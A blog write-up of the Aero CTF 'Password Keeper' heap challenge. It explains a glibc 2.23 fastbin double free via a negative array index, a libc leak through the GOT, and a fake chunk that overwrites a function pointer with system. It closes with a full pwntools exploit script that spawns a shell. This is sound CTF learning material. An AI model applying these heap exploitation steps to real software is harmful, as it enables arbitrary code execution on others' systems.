Blog

Aero CTF - Password Keeper

3/2/2020

Recently, I have been diving into the black magic of memory corruption. In particular, I have really dove into Malloc and heap internals (more on this to come later). So, I decided to take my hand at some CTF challenges to test and improve my skills. After some road bumps (and a little help) I got the solution working on my computer locally!

Setup

Yeah... I could NOT get a good setup working on this. Even though they included the libc version (and the loader) I could not get these working together. It turns out, I needed to patch the binary itself to use this particular loader with the following command: patchelf --set-interpreter ld-linux-x86-64.so.2 ./binary. After doing this (and preloaded libc into the binary with pwntools), GDB cannot find the debugging symbols for LibC, making pwndbg useless :(. Because the challenge had already been solved by one of my Open To All CTF teammates, I decided to cut my losses and just run this with my current version of Glibc (2.23, which is before TCache).

Starting The Challenge

The first thing I like to do, is just scope out the application: what does it do? There were the following options:

  1. Keep password
  2. View password
  3. View all passwords
  4. Delete password
  5. Clear all passwords
  6. View profile
  7. Change secret
  8. Exit
The essence of the application was the ability to use and store passwords. Also, at the beginning of the game, the user is asked for their name and their secret.

Now we know what the challenge does, how about we look at the protections?

CheckSec
As you can see, we do not have PIE turned on and only have partial RELRO. The lack of PIE comes into play later (although, there is an unintended PIE bypass, even if it was enabled).

Bug Hunting

The binary contains a plethora of bugs; some of them I found, others I did not.
I found two bugs: the password list allowed for negatives indexes and the username field did not necessarily null terminate strings, which could lead to memory leaks.
However, the memory leak was not interesting (as PIE was not turned on and the pointer was to code in the binary). The bug that I did not find (which was the intended solution and needed for the memory leak) was that the index check for reading and deleting passwords was off by one in the positive direction. For instance, if 4 passwords were allocated, you could read the password at index 4 (which would be the 5th password. The intended solution uses a free in the 16th element (to create a fake chunk, as described in this post) and uses a read on the 16th element to leak a libc address. Instead of the easy solution, I created a crazy scenario that still works with a separate bug for the arbitrary chunk creation :)

Double Free

The image to the bottom left shows the stack near the array that contains pointers to the passwords on the heap.

Stack Setup Near Password Ptr Array

The numbers on the right are indexes for the setup of the stack. The 0-15 entries (intended spots to be used) are pointers to heap chunks, where the text for the password is stored. The interesting part of the picture is that the -1 entry has a pointer to the last allocated password. By deleting the last password (which frees the data) then deleting the -1 entry of the array, we have freed the same data twice! This is called a double free vulnerability. Additionally, the 16th spot of the array can also be accessed by a separate vulnerability (which is the intended solution).

Exploitation

Now that we have the double free bug, how do we exploit it? So, this required a very careful series of requests to do. Let's dive into it!

In GLibC 2.23 there is no TCache. On 2.29 the TCache is turned off by default. So, this exploit (with slightly different offsets) should work with both versions. For this exploit, only a knowledge of general Malloc chunks and Fastbins was required.

Malloc Background

In general, a Malloc chunk has four main components: a previous size, a size (with flags), a forward pointer and a backwards pointer. The pointers are used for easy traversing of the other items in the bin (just a linked list). The size field uses the first 3 bits for different flags (previous chunk in use (0), mmap (1) and non-main arena (2)).

Free Chunk Description by Sploitfun at https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

Fastbins

Unlike small and large bins, fastbins only use the forward pointer. Thus, making it a singly linked list data structure. The fastbins are the first location in which a malloc chunk will go, assuming TCache is turned off. Fastbins hold chunks that range from size 0x20 (on 64-bit) to 0x80 bytes. A single bin entry holds chunk that are of the same size. The final interesting thing is that fastbins do not coalesce (combine around other free chunks).

The information given above is the only stuff that is needed for understanding this exploit. However, GLibc malloc goes much, much deeper than above. For learning more about GLibc, I recommend going to sploitfun.

Path to Exploitation

The password heap chunks (defined above) are of size 0x40. Because of the size, they fall into the 0x40 fastbin, waiting to be allocated. In order to trigger the 'double free', we need to allocate 4 items first. After allocating the 4 items, we need to free them in the following order: 3,2,-1,0. As stated above, the -1 index points to the last password that was allocated. Now, we have freed item 3 twice. This creates the double free.

There is one subtly with what was done above: why not just free item 3 then -1 to create the double free immediately? Each bin has a security check in place that checks to see if the most recently freed pointer is the same as the current one being freed. Simply put, we cannot have two pointers to the same memory next to each other in a fastbin. So, in order to avoid this, we allocate a single pointer in between the two in the bin. This creates the following setup in the bin: 0->3->2->3. At this point, it is also crucial to know that the fastbins are Last In, First Out (LIFO), which acts just like a Stack.

Arbitrary Chunk Creation

Now, things get interesting! Once we have allocated two passwords, the second password's text falls into the fd pointer of the double freed chunk. So, now, we have the following linked list: 2->3->T, where T is the text entered into the next password we created. This is because of the double free bug: we have written to chunk 3 but still have this chunk in the bin! All in all, this means that we can control the location of any chunk in memory and write to it! Well, sort of... We need to have a valid chunk metadata in this location in order to write to it.

Now what? Where do we want to create a chunk at? The following object has two very nice properties: we control part of the input and it has a nice function ptr.

1
2
3
4
5
struct user {
    char[64] username; 
    void* display_name; 
}
This looks like an ideal spot to create a chunk! Because PIE is not on and the user variable above is global, we simply just need to write to this location. Here is how it should look:
User Struct (left) overlaid with Fake Chunk (right)
The last part of the User struct is overlaid with the fake chunk in order to overwrite the function pointer. The size MUST be 0x41 for two reasons: there is a security check to ensure that a chunk in the bin has the same size as the bin (0x40). Secondly, we need to set the PREV_INUSE bit. Otherwise, some shenanigans will happen on the chunk that is previous size bytes away (certainly causing a segfault). In order to avoid this action, just set the bit to 1.

Now, if we call the 'View Profile' function, we call our function! :) The best function to put here is system, especially considering that the first parameter is a user controlled string. Of course, calling system requires a memory leak (which is the part that I missed that was described above).

Learnings

The whole pwn CTF scene is a little new to me... I have not done a ton of this challenges besides a few pwnables and the RPISEC MBE course. So, I wanted to include a list of items that I learned:

  • Recving, instead of just sending data may be a good idea with pwntools. Just sending (instead of timed sends) breaks some binaries and makes payloads inconsistent, especially when running with a debugger on.
  • Mark ALL crashes and explore them! Every little thing that goes wrong is a big deal. I found the off-by-one read/free with a crash but did not pursue it further :( If I would have, I likely would have gotten to the solution myself.
  • Technically, the GOT and PLT tables (in the binary) are in a known location. These can be seen (along with some other data in the binary).
  • When searching for heap pointers, make sure to change the chunk to a memory address instead of the chunk address (add 8 or 16 depending on the architecture). Additionally, pwndbg has a 'malloc_chunk' viewer which is really nice.
  • Running other libc versions is NOT trivial... I am considering using something like pwndocker or pwninit to make my life easier. Even after patching the binary to use a different loader and using the LD_PRELOAD, gdb stops working with debugging symbols.

Conclusion

Thanks for reading the article! I hope that you learned something from it. If you do not understand or want to learn more about this stuff, feel free to reach out! :)
P.S. The full exploit code for the challenge is below...

Full Exploit Code on GLibC 2.23

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
from pwn import * 
import os

# Binary setup
elf_name = 'passkeeper' 
libc_name='libc.so.6'


elf = ELF(elf_name)
libc = ELF(libc_name)

# Process creation 
p = process(elf.path)
 


def create_password(password): 
	p.recvuntil('-------- Password Keeper --------') 
	p.sendline('1')
	p.recvuntil('Enter password:') 
	p.sendline(password) 
	return 

def free_password(index): 
	p.recvuntil('-------- Password Keeper --------')
	p.sendline('4')
	p.recvuntil('id')  
	p.sendline(index) 	
	return 

def see_password(index): 
	p.recvuntil('-------- Password Keeper --------')
	p.sendline('2') 
	p.sendline(index) 
	p.recvuntil('Value: ') 
	
	# libc leak 
	output = p.recvline() 
	print 'Leak!'
	output = output[:-1] + "\x00\x00"
	output = u64(output) 
	print hex(output)
	return output
	
	
shell = "/bin/sh #"
chunk = shell + 'A' * 39 # For the system call later on

#chunk += '\x00' * 8 # prev_size. Because the chunk is in use, the prev size does not matter.
chunk += p64(0x41) # size
chunk += p64(0) # fd (null)

p.sendline(chunk) # - Can be used for a fake chunk, if we choose.
p.sendline('SECRET') 

# See 1 too many items because of an off by 1 error at the end of the array
for i in range(16):
	create_password(chr(i + ord('A')))

# The arbitrary read. We use this function as an offset calculator for libc's system. NOTICE: Puts has been used before. This is why we read from this function.
p.sendline('7') 
p.sendline(p64(elf.got['puts']))

leak = see_password('16') 
libc.address = leak - libc.symbols['puts']

# Leaks the libc base address
print 'LibC at ' + hex(libc.address) 

# Use the leak plus a known offset for the function
system = leak - 0x2a300
print "System: ", hex(system) 
p.sendline('5') # Clear all of the passwords to do more schanigans! 

# Create a double free by freeing the last item then removing it again.
create_password('A') # 8
create_password('BBBB') # 9
#create_password('EEEE') 
create_password('CCCC') # 10 - Need this to keep on the top in order to keep the top chunk from coalescing the chunk.
create_password('DDDD') # 11

free_password('11') # Free spot 11
free_password('10') # Free spot 10 
free_password('-1') # Free spot 11 again to create the 'double' free. This works because there is a ptr to the last created item on the stack. 
free_password('8') # Free spot 8 (9 is gone) 

# Go trigger the double free so that we can set the fd out of a chunk.
create_password('AAAA') 
create_password(p64(0x4040e8)) # The fake chunk, which is in the username struct. This points to a fake malloc chunk.
create_password('DDDD') 
create_password('CCCC') 

#gdb.attach(p) <- Debugger
# Overwrite the function call for the print_name function.
func_call = system
create_password('B' * 8 + p64(func_call)) # Uses our fake chunk in the user data section.

# Call system, which was the 'print_name' function.
p.sendline('6')

# Shell :) 
p.interactive()